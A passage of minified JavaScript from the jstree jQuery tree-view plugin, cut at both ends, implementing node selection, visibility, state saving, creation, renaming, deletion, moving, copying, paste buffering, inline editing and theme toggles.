0},open_all:function(t,i,r){if(t||(t=n.jstree.root),t=this.get_node(t),!t)return!1;var u=t.id===n.jstree.root?this.get_container_ul():this.get_node(t,!0),f,e,o;if(!u.length){for(f=0,e=t.children_d.length;e>f;f++)this.is_closed(this._model.data[t.children_d[f]])&&(this._model.data[t.children_d[f]].state.opened=!0);return this.trigger("open_all",{node:t})}r=r||u;o=this;u=this.is_closed(t)?u.find(".jstree-closed").addBack():u.find(".jstree-closed");u.each(function(){o.open_node(this,function(n,t){t&&this.is_parent(n)&&this.open_all(n,i,r)},i||0)});0===r.find(".jstree-closed").length&&this.trigger("open_all",{node:this.get_node(r)})},close_all:function(t,i){if(t||(t=n.jstree.root),t=this.get_node(t),!t)return!1;var r=t.id===n.jstree.root?this.get_container_ul():this.get_node(t,!0),e=this,u,f;for(r.length&&(r=this.is_open(t)?r.find(".jstree-open").addBack():r.find(".jstree-open"),n(r.get().reverse()).each(function(){e.close_node(this,i||0)})),u=0,f=t.children_d.length;f>u;u++)this._model.data[t.children_d[u]].state.opened=!1;this.trigger("close_all",{node:t})},is_disabled:function(n){return n=this.get_node(n),n&&n.state&&n.state.disabled},enable_node:function(t){var i,r;if(n.isArray(t)){for(t=t.slice(),i=0,r=t.length;r>i;i++)this.enable_node(t[i]);return!0}return t=this.get_node(t),t&&t.id!==n.jstree.root?(t.state.disabled=!1,this.get_node(t,!0).children(".jstree-anchor").removeClass("jstree-disabled").attr("aria-disabled",!1),void this.trigger("enable_node",{node:t})):!1},disable_node:function(t){var i,r;if(n.isArray(t)){for(t=t.slice(),i=0,r=t.length;r>i;i++)this.disable_node(t[i]);return!0}return t=this.get_node(t),t&&t.id!==n.jstree.root?(t.state.disabled=!0,this.get_node(t,!0).children(".jstree-anchor").addClass("jstree-disabled").attr("aria-disabled",!0),void this.trigger("disable_node",{node:t})):!1},is_hidden:function(n){return n=this.get_node(n),n.state.hidden===!0},hide_node:function(t,i){var r,u;if(n.isArray(t)){for(t=t.slice(),r=0,u=t.length;u>r;r++)this.hide_node(t[r],!0);return i||this.redraw(),!0}return t=this.get_node(t),t&&t.id!==n.jstree.root?void(t.state.hidden||(t.state.hidden=!0,this._node_changed(t.parent),i||this.redraw(),this.trigger("hide_node",{node:t}))):!1},show_node:function(t,i){var r,u;if(n.isArray(t)){for(t=t.slice(),r=0,u=t.length;u>r;r++)this.show_node(t[r],!0);return i||this.redraw(),!0}return t=this.get_node(t),t&&t.id!==n.jstree.root?void(t.state.hidden&&(t.state.hidden=!1,this._node_changed(t.parent),i||this.redraw(),this.trigger("show_node",{node:t}))):!1},hide_all:function(t){var i,r=this._model.data,u=[];for(i in r)r.hasOwnProperty(i)&&i!==n.jstree.root&&!r[i].state.hidden&&(r[i].state.hidden=!0,u.push(i));return this._model.force_full_redraw=!0,t||this.redraw(),this.trigger("hide_all",{nodes:u}),u},show_all:function(t){var i,r=this._model.data,u=[];for(i in r)r.hasOwnProperty(i)&&i!==n.jstree.root&&r[i].state.hidden&&(r[i].state.hidden=!1,u.push(i));return this._model.force_full_redraw=!0,t||this.redraw(),this.trigger("show_all",{nodes:u}),u},activate_node:function(n,i){if(this.is_disabled(n))return!1;if(i&&"object"==typeof i||(i={}),this._data.core.last_clicked=this._data.core.last_clicked&&this._data.core.last_clicked.id!==t?this.get_node(this._data.core.last_clicked.id):null,this._data.core.last_clicked&&!this._data.core.last_clicked.state.selected&&(this._data.core.last_clicked=null),!this._data.core.last_clicked&&this._data.core.selected.length&&(this._data.core.last_clicked=this.get_node(this._data.core.selected[this._data.core.selected.length-1])),this.settings.core.multiple&&(i.metaKey||i.ctrlKey||i.shiftKey)&&(!i.shiftKey||this._data.core.last_clicked&&this.get_parent(n)&&this.get_parent(n)===this._data.core.last_clicked.parent))if(i.shiftKey){for(var e=this.get_node(n).id,o=this._data.core.last_clicked.id,u=this.get_node(this._data.core.last_clicked.parent).children,f=!1,r=0,s=u.length;s>r;r+=1)u[r]===e&&(f=!f),u[r]===o&&(f=!f),this.is_disabled(u[r])||!f&&u[r]!==e&&u[r]!==o?this.deselect_node(u[r],!0,i):this.is_hidden(u[r])||this.select_node(u[r],!0,!1,i);this.trigger("changed",{action:"select_node",node:this.get_node(n),selected:this._data.core.selected,event:i})}else this.is_selected(n)?this.deselect_node(n,!1,i):this.select_node(n,!1,!1,i);else!this.settings.core.multiple&&(i.metaKey||i.ctrlKey||i.shiftKey)&&this.is_selected(n)?this.deselect_node(n,!1,i):(this.deselect_all(!0),this.select_node(n,!1,!1,i),this._data.core.last_clicked=this.get_node(n));this.trigger("activate_node",{node:this.get_node(n),event:i})},hover_node:function(n){if(n=this.get_node(n,!0),!n||!n.length||n.children(".jstree-hovered").length)return!1;var t=this.element.find(".jstree-hovered"),i=this.element;t&&t.length&&this.dehover_node(t);n.children(".jstree-anchor").addClass("jstree-hovered");this.trigger("hover_node",{node:this.get_node(n)});setTimeout(function(){i.attr("aria-activedescendant",n[0].id)},0)},dehover_node:function(n){return n=this.get_node(n,!0),n&&n.length&&n.children(".jstree-hovered").length?(n.children(".jstree-anchor").removeClass("jstree-hovered"),void this.trigger("dehover_node",{node:this.get_node(n)})):!1},select_node:function(t,i,r,u){var f,e,o;if(n.isArray(t)){for(t=t.slice(),e=0,o=t.length;o>e;e++)this.select_node(t[e],i,r,u);return!0}return t=this.get_node(t),t&&t.id!==n.jstree.root?(f=this.get_node(t,!0),void(t.state.selected||(t.state.selected=!0,this._data.core.selected.push(t.id),r||(f=this._open_to(t)),f&&f.length&&f.attr("aria-selected",!0).children(".jstree-anchor").addClass("jstree-clicked"),this.trigger("select_node",{node:t,selected:this._data.core.selected,event:u}),i||this.trigger("changed",{action:"select_node",node:t,selected:this._data.core.selected,event:u})))):!1},deselect_node:function(t,i,r){var u,e,f;if(n.isArray(t)){for(t=t.slice(),u=0,e=t.length;e>u;u++)this.deselect_node(t[u],i,r);return!0}return t=this.get_node(t),t&&t.id!==n.jstree.root?(f=this.get_node(t,!0),void(t.state.selected&&(t.state.selected=!1,this._data.core.selected=n.vakata.array_remove_item(this._data.core.selected,t.id),f.length&&f.attr("aria-selected",!1).children(".jstree-anchor").removeClass("jstree-clicked"),this.trigger("deselect_node",{node:t,selected:this._data.core.selected,event:r}),i||this.trigger("changed",{action:"deselect_node",node:t,selected:this._data.core.selected,event:r})))):!1},select_all:function(t){var u=this._data.core.selected.concat([]),i,r;for(this._data.core.selected=this._model.data[n.jstree.root].children_d.concat(),i=0,r=this._data.core.selected.length;r>i;i++)this._model.data[this._data.core.selected[i]]&&(this._model.data[this._data.core.selected[i]].state.selected=!0);this.redraw(!0);this.trigger("select_all",{selected:this._data.core.selected});t||this.trigger("changed",{action:"select_all",selected:this._data.core.selected,old_selection:u})},deselect_all:function(n){for(var i=this._data.core.selected.concat([]),t=0,r=this._data.core.selected.length;r>t;t++)this._model.data[this._data.core.selected[t]]&&(this._model.data[this._data.core.selected[t]].state.selected=!1);this._data.core.selected=[];this.element.find(".jstree-clicked").removeClass("jstree-clicked").parent().attr("aria-selected",!1);this.trigger("deselect_all",{selected:this._data.core.selected,node:i});n||this.trigger("changed",{action:"deselect_all",selected:this._data.core.selected,old_selection:i})},is_selected:function(t){return t=this.get_node(t),t&&t.id!==n.jstree.root?t.state.selected:!1},get_selected:function(t){return t?n.map(this._data.core.selected,n.proxy(function(n){return this.get_node(n)},this)):this._data.core.selected.slice()},get_top_selected:function(t){for(var r=this.get_selected(!0),u={},f,o,i=0,e=r.length;e>i;i++)u[r[i].id]=r[i];for(i=0,e=r.length;e>i;i++)for(f=0,o=r[i].children_d.length;o>f;f++)u[r[i].children_d[f]]&&delete u[r[i].children_d[f]];r=[];for(i in u)u.hasOwnProperty(i)&&r.push(i);return t?n.map(r,n.proxy(function(n){return this.get_node(n)},this)):r},get_bottom_selected:function(t){for(var r=this.get_selected(!0),u=[],i=0,f=r.length;f>i;i++)r[i].children.length||u.push(r[i].id);return t?n.map(u,n.proxy(function(n){return this.get_node(n)},this)):u},get_state:function(){var i={core:{open:[],loaded:[],scroll:{left:this.element.scrollLeft(),top:this.element.scrollTop()},selected:[]}};for(var t in this._model.data)this._model.data.hasOwnProperty(t)&&t!==n.jstree.root&&(this._model.data[t].state.loaded&&this.settings.core.loaded_state&&i.core.loaded.push(t),this._model.data[t].state.opened&&i.core.open.push(t),this._model.data[t].state.selected&&i.core.selected.push(t));return i},set_state:function(i,r){if(i){if(i.core&&i.core.selected&&i.core.initial_selection===t&&(i.core.initial_selection=this._data.core.selected.concat([]).sort().join(",")),i.core){var f,u;if(i.core.loaded)return this.settings.core.loaded_state&&n.isArray(i.core.loaded)&&i.core.loaded.length?this._load_nodes(i.core.loaded,function(){delete i.core.loaded;this.set_state(i,r)}):(delete i.core.loaded,this.set_state(i,r)),!1;if(i.core.open)return n.isArray(i.core.open)&&i.core.open.length?this._load_nodes(i.core.open,function(n){this.open_node(n,!1,0);delete i.core.open;this.set_state(i,r)}):(delete i.core.open,this.set_state(i,r)),!1;if(i.core.scroll)return i.core.scroll&&i.core.scroll.left!==t&&this.element.scrollLeft(i.core.scroll.left),i.core.scroll&&i.core.scroll.top!==t&&this.element.scrollTop(i.core.scroll.top),delete i.core.scroll,this.set_state(i,r),!1;if(i.core.selected)return f=this,(i.core.initial_selection===t||i.core.initial_selection===this._data.core.selected.concat([]).sort().join(","))&&(this.deselect_all(),n.each(i.core.selected,function(n,t){f.select_node(t,!1,!0)})),delete i.core.initial_selection,delete i.core.selected,this.set_state(i,r),!1;for(u in i)i.hasOwnProperty(u)&&"core"!==u&&-1===n.inArray(u,this.settings.plugins)&&delete i[u];if(n.isEmptyObject(i.core))return delete i.core,this.set_state(i,r),!1}return n.isEmptyObject(i)?(i=null,r&&r.call(this),this.trigger("set_state"),!1):!0}return!1},refresh:function(t,i){this._data.core.state=i===!0?{}:this.get_state();i&&n.isFunction(i)&&(this._data.core.state=i.call(this,this._data.core.state));this._cnt=0;this._model.data={};this._model.data[n.jstree.root]={id:n.jstree.root,parent:null,parents:[],children:[],children_d:[],state:{loaded:!1}};this._data.core.selected=[];this._data.core.last_clicked=null;this._data.core.focused=null;var r=this.get_container_ul()[0].className;t||(this.element.html("<ul class='"+r+"' role='group'><li class='jstree-initial-node jstree-loading jstree-leaf jstree-last' role='treeitem' id='j"+this._id+"_loading'><i class='jstree-icon jstree-ocl'><\/i><a class='jstree-anchor' href='#'><i class='jstree-icon jstree-themeicon-hidden'><\/i>"+this.get_string("Loading ...")+"<\/a><\/li><\/ul>"),this.element.attr("aria-activedescendant","j"+this._id+"_loading"));this.load_node(n.jstree.root,function(t,i){i&&(this.get_container_ul()[0].className=r,this._firstChild(this.get_container_ul()[0])&&this.element.attr("aria-activedescendant",this._firstChild(this.get_container_ul()[0]).id),this.set_state(n.extend(!0,{},this._data.core.state),function(){this.trigger("refresh")}));this._data.core.state=null})},refresh_node:function(t){if(t=this.get_node(t),!t||t.id===n.jstree.root)return!1;var i=[],r=[],u=this._data.core.selected.concat([]);r.push(t.id);t.state.opened===!0&&i.push(t.id);this.get_node(t,!0).find(".jstree-open").each(function(){r.push(this.id);i.push(this.id)});this._load_nodes(r,n.proxy(function(n){this.open_node(i,!1,0);this.select_node(u);this.trigger("refresh_node",{node:t,nodes:n})},this),!1,!0)},set_id:function(t,i){if(t=this.get_node(t),!t||t.id===n.jstree.root)return!1;var r,f,u=this._model.data,e=t.id;for(i=i.toString(),u[t.parent].children[n.inArray(t.id,u[t.parent].children)]=i,r=0,f=t.parents.length;f>r;r++)u[t.parents[r]].children_d[n.inArray(t.id,u[t.parents[r]].children_d)]=i;for(r=0,f=t.children.length;f>r;r++)u[t.children[r]].parent=i;for(r=0,f=t.children_d.length;f>r;r++)u[t.children_d[r]].parents[n.inArray(t.id,u[t.children_d[r]].parents)]=i;return r=n.inArray(t.id,this._data.core.selected),-1!==r&&(this._data.core.selected[r]=i),r=this.get_node(t.id,!0),r&&(r.attr("id",i),this.element.attr("aria-activedescendant")===t.id&&this.element.attr("aria-activedescendant",i)),delete u[t.id],t.id=i,t.li_attr.id=i,u[i]=t,this.trigger("set_id",{node:t,"new":t.id,old:e}),!0},get_text:function(t){return t=this.get_node(t),t&&t.id!==n.jstree.root?t.text:!1},set_text:function(t,i){var r,u;if(n.isArray(t)){for(t=t.slice(),r=0,u=t.length;u>r;r++)this.set_text(t[r],i);return!0}return t=this.get_node(t),t&&t.id!==n.jstree.root?(t.text=i,this.get_node(t,!0).length&&this.redraw_node(t.id),this.trigger("set_text",{obj:t,text:i}),!0):!1},get_json:function(t,i,r){if(t=this.get_node(t||n.jstree.root),!t)return!1;i&&i.flat&&!r&&(r=[]);var u={id:t.id,text:t.text,icon:this.get_icon(t),li_attr:n.extend(!0,{},t.li_attr),a_attr:n.extend(!0,{},t.a_attr),state:{},data:i&&i.no_data?!1:n.extend(!0,n.isArray(t.data)?[]:{},t.data)},f,e;if(i&&i.flat?u.parent=t.parent:u.children=[],i&&i.no_state)delete u.state;else for(f in t.state)t.state.hasOwnProperty(f)&&(u.state[f]=t.state[f]);if(i&&i.no_li_attr&&delete u.li_attr,i&&i.no_a_attr&&delete u.a_attr,i&&i.no_id&&(delete u.id,u.li_attr&&u.li_attr.id&&delete u.li_attr.id,u.a_attr&&u.a_attr.id&&delete u.a_attr.id),i&&i.flat&&t.id!==n.jstree.root&&r.push(u),!i||!i.no_children)for(f=0,e=t.children.length;e>f;f++)i&&i.flat?this.get_json(t.children[f],i,r):u.children.push(this.get_json(t.children[f],i));return i&&i.flat?r:t.id===n.jstree.root?u.children:u},create_node:function(i,r,u,f,e){if(null===i&&(i=n.jstree.root),i=this.get_node(i),!i)return!1;if(u=u===t?"last":u,!u.toString().match(/^(before|after)$/)&&!e&&!this.is_loaded(i))return this.load_node(i,function(){this.create_node(i,r,u,f,!0)});r||(r={text:this.get_string("New node")});r="string"==typeof r?{text:r}:n.extend(!0,{},r);r.text===t&&(r.text=this.get_string("New node"));var o,h,s,c;switch(i.id===n.jstree.root&&("before"===u&&(u="first"),"after"===u&&(u="last")),u){case"before":o=this.get_node(i.parent);u=n.inArray(i.id,o.children);i=o;break;case"after":o=this.get_node(i.parent);u=n.inArray(i.id,o.children)+1;i=o;break;case"inside":case"first":u=0;break;case"last":u=i.children.length;break;default:u||(u=0)}if(u>i.children.length&&(u=i.children.length),r.id||(r.id=!0),!this.check("create_node",r,i,u))return this.settings.core.error.call(this,this._data.core.last_error),!1;if(r.id===!0&&delete r.id,r=this._parse_model_from_json(r,i.id,i.parents.concat()),!r)return!1;for(o=this.get_node(r),h=[],h.push(r),h=h.concat(o.children_d),this.trigger("model",{nodes:h,parent:i.id}),i.children_d=i.children_d.concat(h),s=0,c=i.parents.length;c>s;s++)this._model.data[i.parents[s]].children_d=this._model.data[i.parents[s]].children_d.concat(h);for(r=o,o=[],s=0,c=i.children.length;c>s;s++)o[s>=u?s+1:s]=i.children[s];return o[u]=r.id,i.children=o,this.redraw_node(i,!0),this.trigger("create_node",{node:this.get_node(r),parent:i.id,position:u}),f&&f.call(this,this.get_node(r)),r.id},rename_node:function(t,i){var r,u,f;if(n.isArray(t)){for(t=t.slice(),r=0,u=t.length;u>r;r++)this.rename_node(t[r],i);return!0}return t=this.get_node(t),t&&t.id!==n.jstree.root?(f=t.text,this.check("rename_node",t,this.get_parent(t),i)?(this.set_text(t,i),this.trigger("rename_node",{node:t,text:i,old:f}),!0):(this.settings.core.error.call(this,this._data.core.last_error),!1)):!1},delete_node:function(t){var e,c,i,o,r,f,l,u,s,h,a,v;if(n.isArray(t)){for(t=t.slice(),e=0,c=t.length;c>e;e++)this.delete_node(t[e]);return!0}if(t=this.get_node(t),!t||t.id===n.jstree.root)return!1;if(i=this.get_node(t.parent),o=n.inArray(t.id,i.children),h=!1,!this.check("delete_node",t,i,o))return this.settings.core.error.call(this,this._data.core.last_error),!1;for(-1!==o&&(i.children=n.vakata.array_remove(i.children,o)),r=t.children_d.concat([]),r.push(t.id),f=0,l=t.parents.length;l>f;f++)this._model.data[t.parents[f]].children_d=n.vakata.array_filter(this._model.data[t.parents[f]].children_d,function(t){return-1===n.inArray(t,r)});for(u=0,s=r.length;s>u;u++)if(this._model.data[r[u]].state.selected){h=!0;break}for(h&&(this._data.core.selected=n.vakata.array_filter(this._data.core.selected,function(t){return-1===n.inArray(t,r)})),this.trigger("delete_node",{node:t,parent:i.id}),h&&this.trigger("changed",{action:"delete_node",node:t,selected:this._data.core.selected,parent:i.id}),u=0,s=r.length;s>u;u++)delete this._model.data[r[u]];return-1!==n.inArray(this._data.core.focused,r)&&(this._data.core.focused=null,a=this.element[0].scrollTop,v=this.element[0].scrollLeft,i.id===n.jstree.root?this._model.data[n.jstree.root].children[0]&&this.get_node(this._model.data[n.jstree.root].children[0],!0).children(".jstree-anchor").focus():this.get_node(i,!0).children(".jstree-anchor").focus(),this.element[0].scrollTop=a,this.element[0].scrollLeft=v),this.redraw_node(i,!0),!0},check:function(t,i,r,u,f){i=i&&i.id?i:this.get_node(i);r=r&&r.id?r:this.get_node(r);var e=t.match(/^move_node|copy_node|create_node$/i)?r:i,o=this.settings.core.check_callback;return"move_node"!==t&&"copy_node"!==t||f&&f.is_multi||i.id!==r.id&&("move_node"!==t||n.inArray(i.id,r.children)!==u)&&-1===n.inArray(r.id,i.children_d)?(e&&e.data&&(e=e.data),e&&e.functions&&(e.functions[t]===!1||e.functions[t]===!0)?(e.functions[t]===!1&&(this._data.core.last_error={error:"check",plugin:"core",id:"core_02",reason:"Node data prevents function: "+t,data:JSON.stringify({chk:t,pos:u,obj:i&&i.id?i.id:!1,par:r&&r.id?r.id:!1})}),e.functions[t]):o===!1||n.isFunction(o)&&o.call(this,t,i,r,u,f)===!1||o&&o[t]===!1?(this._data.core.last_error={error:"check",plugin:"core",id:"core_03",reason:"User config for core.check_callback prevents function: "+t,data:JSON.stringify({chk:t,pos:u,obj:i&&i.id?i.id:!1,par:r&&r.id?r.id:!1})},!1):!0):(this._data.core.last_error={error:"check",plugin:"core",id:"core_01",reason:"Moving parent inside child",data:JSON.stringify({chk:t,pos:u,obj:i&&i.id?i.id:!1,par:r&&r.id?r.id:!1})},!1)},last_error:function(){return this._data.core.last_error},move_node:function(i,r,u,f,e,o,s){var k,d,y,g,l,c,nt,v,a,h,p,b,tt,w;if(r=this.get_node(r),u=u===t?0:u,!r)return!1;if(!u.toString().match(/^(before|after)$/)&&!e&&!this.is_loaded(r))return this.load_node(r,function(){this.move_node(i,r,u,f,!0,!1,s)});if(n.isArray(i)){if(1!==i.length){for(k=0,d=i.length;d>k;k++)(a=this.move_node(i[k],r,u,f,e,!1,s))&&(r=a,u="after");return this.redraw(),!0}i=i[0]}if(i=i&&i.id?i:this.get_node(i),!i||i.id===n.jstree.root)return!1;if(y=(i.parent||n.jstree.root).toString(),l=u.toString().match(/^(before|after)$/)&&r.id!==n.jstree.root?this.get_node(r.parent):r,c=s?s:this._model.data[i.id]?this:n.jstree.reference(i.id),nt=!c||!c._id||this._id!==c._id,g=c&&c._id&&y&&c._model.data[y]&&c._model.data[y].children?n.inArray(i.id,c._model.data[y].children):-1,c&&c._id&&(i=c._model.data[i.id]),nt)return(a=this.copy_node(i,r,u,f,e,!1,s))?(c&&c.delete_node(i),a):!1;switch(r.id===n.jstree.root&&("before"===u&&(u="first"),"after"===u&&(u="last")),u){case"before":u=n.inArray(r.id,l.children);break;case"after":u=n.inArray(r.id,l.children)+1;break;case"inside":case"first":u=0;break;case"last":u=l.children.length;break;default:u||(u=0)}if(u>l.children.length&&(u=l.children.length),!this.check("move_node",i,l,u,{core:!0,origin:s,is_multi:c&&c._id&&c._id!==this._id,is_foreign:!c||!c._id}))return this.settings.core.error.call(this,this._data.core.last_error),!1;if(i.parent===l.id){for(v=l.children.concat(),a=n.inArray(i.id,v),-1!==a&&(v=n.vakata.array_remove(v,a),u>a&&u--),a=[],h=0,p=v.length;p>h;h++)a[h>=u?h+1:h]=v[h];a[u]=i.id;l.children=a;this._node_changed(l.id);this.redraw(l.id===n.jstree.root)}else{for(a=i.children_d.concat(),a.push(i.id),h=0,p=i.parents.length;p>h;h++){for(v=[],w=c._model.data[i.parents[h]].children_d,b=0,tt=w.length;tt>b;b++)-1===n.inArray(w[b],a)&&v.push(w[b]);c._model.data[i.parents[h]].children_d=v}for(c._model.data[y].children=n.vakata.array_remove_item(c._model.data[y].children,i.id),h=0,p=l.parents.length;p>h;h++)this._model.data[l.parents[h]].children_d=this._model.data[l.parents[h]].children_d.concat(a);for(v=[],h=0,p=l.children.length;p>h;h++)v[h>=u?h+1:h]=l.children[h];for(v[u]=i.id,l.children=v,l.children_d.push(i.id),l.children_d=l.children_d.concat(i.children_d),i.parent=l.id,a=l.parents.concat(),a.unshift(l.id),w=i.parents.length,i.parents=a,a=a.concat(),h=0,p=i.children_d.length;p>h;h++)this._model.data[i.children_d[h]].parents=this._model.data[i.children_d[h]].parents.slice(0,-1*w),Array.prototype.push.apply(this._model.data[i.children_d[h]].parents,a);(y===n.jstree.root||l.id===n.jstree.root)&&(this._model.force_full_redraw=!0);this._model.force_full_redraw||(this._node_changed(y),this._node_changed(l.id));o||this.redraw()}return f&&f.call(this,i,l,u),this.trigger("move_node",{node:i,parent:l.id,position:u,old_parent:y,old_position:g,is_multi:c&&c._id&&c._id!==this._id,is_foreign:!c||!c._id,old_instance:c,new_instance:this}),i.id},copy_node:function(i,r,u,f,e,o,s){var w,k,v,a,l,b,y,p,c,h,d;if(r=this.get_node(r),u=u===t?0:u,!r)return!1;if(!u.toString().match(/^(before|after)$/)&&!e&&!this.is_loaded(r))return this.load_node(r,function(){this.copy_node(i,r,u,f,!0,!1,s)});if(n.isArray(i)){if(1!==i.length){for(w=0,k=i.length;k>w;w++)(a=this.copy_node(i[w],r,u,f,e,!0,s))&&(r=a,u="after");return this.redraw(),!0}i=i[0]}if(i=i&&i.id?i:this.get_node(i),!i||i.id===n.jstree.root)return!1;switch(p=(i.parent||n.jstree.root).toString(),c=u.toString().match(/^(before|after)$/)&&r.id!==n.jstree.root?this.get_node(r.parent):r,h=s?s:this._model.data[i.id]?this:n.jstree.reference(i.id),d=!h||!h._id||this._id!==h._id,h&&h._id&&(i=h._model.data[i.id]),r.id===n.jstree.root&&("before"===u&&(u="first"),"after"===u&&(u="last")),u){case"before":u=n.inArray(r.id,c.children);break;case"after":u=n.inArray(r.id,c.children)+1;break;case"inside":case"first":u=0;break;case"last":u=c.children.length;break;default:u||(u=0)}if(u>c.children.length&&(u=c.children.length),!this.check("copy_node",i,c,u,{core:!0,origin:s,is_multi:h&&h._id&&h._id!==this._id,is_foreign:!h||!h._id}))return this.settings.core.error.call(this,this._data.core.last_error),!1;if((y=h?h.get_json(i,{no_id:!0,no_data:!0,no_state:!0}):i,!y)||(y.id===!0&&delete y.id,y=this._parse_model_from_json(y,c.id,c.parents.concat()),!y))return!1;for(a=this.get_node(y),i&&i.state&&i.state.loaded===!1&&(a.state.loaded=!1),v=[],v.push(y),v=v.concat(a.children_d),this.trigger("model",{nodes:v,parent:c.id}),l=0,b=c.parents.length;b>l;l++)this._model.data[c.parents[l]].children_d=this._model.data[c.parents[l]].children_d.concat(v);for(v=[],l=0,b=c.children.length;b>l;l++)v[l>=u?l+1:l]=c.children[l];return v[u]=a.id,c.children=v,c.children_d.push(a.id),c.children_d=c.children_d.concat(a.children_d),c.id===n.jstree.root&&(this._model.force_full_redraw=!0),this._model.force_full_redraw||this._node_changed(c.id),o||this.redraw(c.id===n.jstree.root),f&&f.call(this,a,c,u),this.trigger("copy_node",{node:a,original:i,parent:c.id,position:u,old_parent:p,old_position:h&&h._id&&p&&h._model.data[p]&&h._model.data[p].children?n.inArray(i.id,h._model.data[p].children):-1,is_multi:h&&h._id&&h._id!==this._id,is_foreign:!h||!h._id,old_instance:h,new_instance:this}),a.id},cut:function(t){if(t||(t=this._data.core.selected.concat()),n.isArray(t)||(t=[t]),!t.length)return!1;for(var e=[],i,f=0,s=t.length;s>f;f++)i=this.get_node(t[f]),i&&i.id&&i.id!==n.jstree.root&&e.push(i);return e.length?(u=e,o=this,r="move_node",void this.trigger("cut",{node:t})):!1},copy:function(t){if(t||(t=this._data.core.selected.concat()),n.isArray(t)||(t=[t]),!t.length)return!1;for(var e=[],i,f=0,s=t.length;s>f;f++)i=this.get_node(t[f]),i&&i.id&&i.id!==n.jstree.root&&e.push(i);return e.length?(u=e,o=this,r="copy_node",void this.trigger("copy",{node:t})):!1},get_buffer:function(){return{mode:r,node:u,inst:o}},can_paste:function(){return r!==!1&&u!==!1},paste:function(n,t){return n=this.get_node(n),n&&r&&r.match(/^(copy_node|move_node)$/)&&u?(this[r](u,n,t,!1,!1,!1,o)&&this.trigger("paste",{parent:n.id,node:u,mode:r}),u=!1,r=!1,void(o=!1)):!1},clear_buffer:function(){u=!1;r=!1;o=!1;this.trigger("clear_buffer")},edit:function(t,r,u){var v,l,f,h,e,c,o,a,s,y=!1;return(t=this.get_node(t))?this.check("edit",t,this.get_parent(t))?(s=t,r="string"==typeof r?r:t.text,this.set_text(t,""),t=this._open_to(t),s.text=r,v=this._data.core.rtl,l=this.element.width(),this._data.core.focused=s.id,f=t.children(".jstree-anchor").focus(),h=n("<span>"),e=r,c=n("<div />",{css:{position:"absolute",top:"-200px",left:v?"0px":"-1000px",visibility:"hidden"}}).appendTo(i.body),o=n("<input />",{value:e,"class":"jstree-rename-input",css:{padding:"0",border:"1px solid silver","box-sizing":"border-box",display:"inline-block",height:this._data.core.li_height+"px",lineHeight:this._data.core.li_height+"px",width:"150px"},blur:n.proxy(function(i){i.stopImmediatePropagation();i.preventDefault();var v=h.children(".jstree-rename-input"),r=v.val(),a=this.settings.core.force_text,l;""===r&&(r=e);c.remove();h.replaceWith(f);h.remove();e=a?e:n("<div><\/div>").append(n.parseHTML(e)).html();t=this.get_node(t);this.set_text(t,e);l=!!this.rename_node(t,a?n("<div><\/div>").text(r).text():n("<div><\/div>").append(n.parseHTML(r)).html());l||this.set_text(t,e);this._data.core.focused=s.id;setTimeout(n.proxy(function(){var n=this.get_node(s.id,!0);n.length&&(this._data.core.focused=s.id,n.children(".jstree-anchor").focus())},this),0);u&&u.call(this,s,l,y);o=null},this),keydown:function(n){var t=n.which;27===t&&(y=!0,this.value=e);(27===t||13===t||37===t||38===t||39===t||40===t||32===t)&&n.stopImmediatePropagation();(27===t||13===t)&&(n.preventDefault(),this.blur())},click:function(n){n.stopImmediatePropagation()},mousedown:function(n){n.stopImmediatePropagation()},keyup:function(){o.width(Math.min(c.text("pW"+this.value).width(),l))},keypress:function(n){if(13===n.which)return!1}}),a={fontFamily:f.css("fontFamily")||"",fontSize:f.css("fontSize")||"",fontWeight:f.css("fontWeight")||"",fontStyle:f.css("fontStyle")||"",fontStretch:f.css("fontStretch")||"",fontVariant:f.css("fontVariant")||"",letterSpacing:f.css("letterSpacing")||"",wordSpacing:f.css("wordSpacing")||""},h.attr("class",f.attr("class")).append(f.contents().clone()).append(o),f.replaceWith(h),c.css(a),o.css(a).width(Math.min(c.text("pW"+o[0].value).width(),l))[0].select(),void n(i).one("mousedown.jstree touchstart.jstree dnd_start.vakata",function(t){o&&t.target!==o&&n(o).blur()})):(this.settings.core.error.call(this,this._data.core.last_error),!1):!1},set_theme:function(t,i){if(!t)return!1;if(i===!0){var r=this.settings.core.themes.dir;r||(r=n.jstree.path+"/themes");i=r+"/"+t+"/style.css"}i&&-1===n.inArray(i,v)&&(n("head").append('<link rel="stylesheet" href="'+i+'" type="text/css" />'),v.push(i));this._data.core.themes.name&&this.element.removeClass("jstree-"+this._data.core.themes.name);this._data.core.themes.name=t;this.element.addClass("jstree-"+t);this.element[this.settings.core.themes.responsive?"addClass":"removeClass"]("jstree-"+t+"-responsive");this.trigger("set_theme",{theme:t})},get_theme:function(){return this._data.core.themes.name},set_theme_variant:function(n){this._data.core.themes.variant&&this.element.removeClass("jstree-"+this._data.core.themes.name+"-"+this._data.core.themes.variant);this._data.core.themes.variant=n;n&&this.element.addClass("jstree-"+this._data.core.themes.name+"-"+this._data.core.themes.variant)},get_theme_variant:function(){return this._data.core.themes.variant},show_stripes:function(){this._data.core.themes.stripes=!0;this.get_container_ul().addClass("jstree-striped");this.trigger("show_stripes")},hide_stripes:function(){this._data.core.themes.stripes=!1;this.get_container_ul().removeClass("jstree-striped");this.trigger("hide_stripes")},toggle_stripes:function(){this._data.core.themes.stripes?this.hide_stripes():this.show_stripes()},show_dots:function(){this._data.core.themes.dots=!0;this.get_container_ul().removeClass("jstree-no-dots");this.trigger("show_dots")},hide_dots:function(){this._data.core.themes.dots=!1;this.get_container_ul().addClass("jstree-no-dots");this.trigger("hide_dots")},toggle_dots:function(){this._data.core.themes.dots?this.hide_dots():this.show_dots()},show_icons:function(){this._data.core.themes.icons=!0;this.get_container_ul().removeClass("jstree-no-icons");this.trigger("show_icons")},hide_icons:function(){this._data.core.themes.icons=!1;this.get_container_ul().addClass("jstree-no-icons");this.trigger("hide_icons")},toggle_icons:function(){this._data.core.themes.icons?this.hide_icons():this.show_icons()},show_ellipsis:function(){this._data.core.themes.ellipsis=!0;this.get_container_ul().addClass("jstree-ellipsis");this.trigger("show_ellipsis")},hide_ellipsis:function(){this._data.core.themes.ellipsis=!1;this.get_container_ul().removeClass("jstree-ellipsis");this.trigger("hide_ellipsis")},toggle_ellipsis:function(){this._data.core.themes.ellipsis?this.hide_ellipsis():this.show_ellipsis()},set_icon:function(i,r){var e,o,f,u;if(n.isArray(i)){for(i=i.slice(),e=0,o=i.length;o>e;e++)this.set_icon(i[e],r);return!0}return 